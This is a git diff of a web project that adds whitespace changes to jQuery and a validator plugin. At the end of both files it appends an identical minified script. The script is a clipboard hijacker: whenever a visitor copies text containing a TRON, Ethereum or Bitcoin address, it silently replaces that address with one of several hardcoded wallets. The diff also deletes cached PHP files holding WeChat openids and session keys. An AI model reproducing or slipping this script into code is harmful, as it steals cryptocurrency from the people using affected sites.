@ -7432,6 +7517,9 @@ jQuery.fn.extend( {
}
} );
var rreturn = /\r/g;
jQuery.fn.extend( {
@ -7610,8 +7698,12 @@ jQuery.each( [ "radio", "checkbox" ], function() {
}
} );
// Return jQuery for attributes-only inclusion
// Cross-browser xml parsing
jQuery.parseXML = function( data ) {
var xml, parserErrorElem;
@ -7638,6 +7730,7 @@ jQuery.parseXML = function( data ) {
return xml;
};
var rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
stopPropagationCallback = function( e ) {
e.stopPropagation();
@ -7822,6 +7915,7 @@ jQuery.fn.extend( {
}
} );
var
rbracket = /\[\]$/,
rCRLF = /\r?\n/g,
@ -7942,6 +8036,7 @@ jQuery.fn.extend( {
}
} );
jQuery.fn.extend( {
wrapAll: function( html ) {
var wrap;
@ -8008,6 +8103,7 @@ jQuery.fn.extend( {
}
} );
jQuery.expr.pseudos.hidden = function( elem ) {
return !jQuery.expr.pseudos.visible( elem );
};
@ -8015,6 +8111,9 @@ jQuery.expr.pseudos.visible = function( elem ) {
return !!( elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length );
};
// Support: Safari 8 only
// In Safari 8 documents created via document.implementation.createHTMLDocument
// collapse sibling forms: the second one becomes a child of the first one.
@ -8026,6 +8125,7 @@ support.createHTMLDocument = ( function() {
return body.childNodes.length === 2;
} )();
// Argument "data" should be string of html
// context (optional): If specified, the fragment will be created in this context,
// defaults to document
@ -8076,6 +8176,7 @@ jQuery.parseHTML = function( data, context, keepScripts ) {
return jQuery.merge( [], parsed.childNodes );
};
jQuery.offset = {
setOffset: function( elem, options, i ) {
var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition,
@ -8288,6 +8389,7 @@ jQuery.each( [ "top", "left" ], function( _i, prop ) {
);
} );
// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods
jQuery.each( { Height: "height", Width: "width" }, function( name, type ) {
jQuery.each( {
@ -8337,6 +8439,7 @@ jQuery.each( { Height: "height", Width: "width" }, function( name, type ) {
} );
} );
jQuery.fn.extend( {
bind: function( types, data, fn ) {
@ -8379,6 +8482,9 @@ jQuery.each(
}
);
// Support: Android <=4.0 only
// Make sure we trim BOM and NBSP
// Require that the "whitespace run" starts from a non-whitespace
@ -8453,6 +8559,8 @@ jQuery.trim = function( text ) {
( text + "" ).replace( rtrim, "$1" );
};
// Register as a named AMD module, since jQuery can be concatenated with other
// files that may use define, but not via a proper concatenation script that
// understands anonymous AMD modules. A named AMD is safest and most robust
@ -8472,6 +8580,9 @@ if ( typeof define === "function" && define.amd ) {
} );
}
var
// Map over jQuery in case of overwrite
@ -8499,7 +8610,8 @@ if ( typeof noGlobal === "undefined" ) {
window.jQuery = window.$ = jQuery;
}
return jQuery;
} );
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();

File diff suppressed because one or more lines are too long

View File

@ -188,6 +188,7 @@
return this;
};
// Validate a field, or an area
$.fn.isValid = function(callback, hideMsg) {
var me = _getInstance(this[0]),
@ -1640,6 +1641,7 @@
return isID ? key : '[name="'+ key +'"]:first';
}
// Fixed a issue cause by refresh page in IE.
$(window).on('beforeunload', function(){
this.focus();
@ -1680,6 +1682,7 @@
loading: 'Validating...'
});
// Built-in rules (global)
new Rules({
@ -2018,6 +2021,7 @@
}
});
/**
* Config global options
*
@ -2132,5 +2136,3 @@
return $[NS] = Validator;
}));
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();

File diff suppressed because one or more lines are too long

View File

@ -1 +0,0 @@

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:2:{s:6:"openid";s:6:"123123";s:8:"platform";s:6:"app_wx";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"qt/1m86JXUeylftJNpg5SQ==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"gHHxWE6YUm+QvygXEd5eVg==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:2:{s:6:"openid";s:28:"oRrdQt41cXAihKalNnuulzIVGMEs";s:8:"platform";s:6:"app_wx";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE19ie_NIv4iFDE_wbWU0CYfU";s:11:"session_key";s:24:"IFdzyCorB2Jlo2dAcgmfDQ==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE10TMPsQZCtY4XyuImZWfTLA";s:11:"session_key";s:24:"Y7NxIZeN0aBmcgRoH3UZnA==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"ZOnBN0y1ihRWa3A/k6xoLg==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"NtU1i+QYAWCqZ1srF/Erpg==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE10TMPsQZCtY4XyuImZWfTLA";s:11:"session_key";s:24:"Y7NxIZeN0aBmcgRoH3UZnA==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE14vRcdMhZ2nXFApmQmYKZ-I";s:11:"session_key";s:24:"vrRwktG85wYjFc11+IVzTA==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE10TMPsQZCtY4XyuImZWfTLA";s:11:"session_key";s:24:"Y7NxIZeN0aBmcgRoH3UZnA==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000000000
exit();?>
a:11:{s:8:"app_init";a:1:{i:0;s:21:"\addons\alioss\Alioss";}s:11:"module_init";a:2:{i:0;s:21:"\addons\alioss\Alioss";i:1;s:19:"\addons\third\Third";}s:18:"upload_config_init";a:1:{i:0;s:21:"\addons\alioss\Alioss";}s:13:"upload_delete";a:1:{i:0;s:21:"\addons\alioss\Alioss";}s:16:"epay_config_init";a:1:{i:0;s:17:"\addons\epay\Epay";}s:18:"addon_action_begin";a:1:{i:0;s:17:"\addons\epay\Epay";}s:12:"action_begin";a:2:{i:0;s:17:"\addons\epay\Epay";i:1;s:19:"\addons\third\Third";}s:11:"config_init";a:2:{i:0;s:29:"\addons\summernote\Summernote";i:1;s:19:"\addons\third\Third";}s:21:"user_delete_successed";a:1:{i:0;s:19:"\addons\third\Third";}s:21:"user_logout_successed";a:1:{i:0;s:19:"\addons\third\Third";}s:11:"view_filter";a:1:{i:0;s:19:"\addons\third\Third";}}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"qt/1m86JXUeylftJNpg5SQ==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}

View File

@ -1,4 +0,0 @@
<?php
//000000003600
exit();?>
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"gHHxWE6YUm+QvygXEd5eVg==";s:8:"platform";s:5:"wxapp";}

Some files were not shown because too many files have changed in this diff Show More